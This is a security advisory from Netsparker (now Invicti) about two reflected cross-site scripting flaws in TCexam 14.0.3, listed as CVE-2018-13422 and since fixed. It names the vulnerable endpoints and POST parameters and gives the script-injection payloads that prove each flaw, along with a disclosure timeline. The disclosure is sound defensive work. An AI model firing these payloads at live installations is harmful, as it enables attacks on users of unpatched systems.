Multiple Reflected XSS Vulnerabilities in TCexam 14.0.3


Advisory by Netsparker (now Invicti)
Name: Multiple Reflected XSS in TCexam 14.0.3
Affected Software: TCexam
Affected Versions: 14.0.3
Vulnerability: Multiple Reflected XSS
Severity: High
Status: Fixed
CVE-ID: CVE-2018-13422
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-18-003

Technical Details

URL: /public/code/tce_password_reset.php
Parameter Name: ff_required_labels
Parameter Type: POST
Attack Pattern: <scRipt>alert(0x003726)</scRipt>

URL: /public/code/tce_user_registration.php
Parameter Name: xl_user_birthdate
Parameter Type: POST
Attack Pattern: '"></style></scRipt><scRipt>alert(0x002ECF)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

14th May 2018 – First Contact
6th July 2018 – Vendor Fixed
9th July 2018 – Advisory Released

Credits & Authors

These issues have been discovered by Zekvan Arslan while testing Invicti Web Application Security Scanner.

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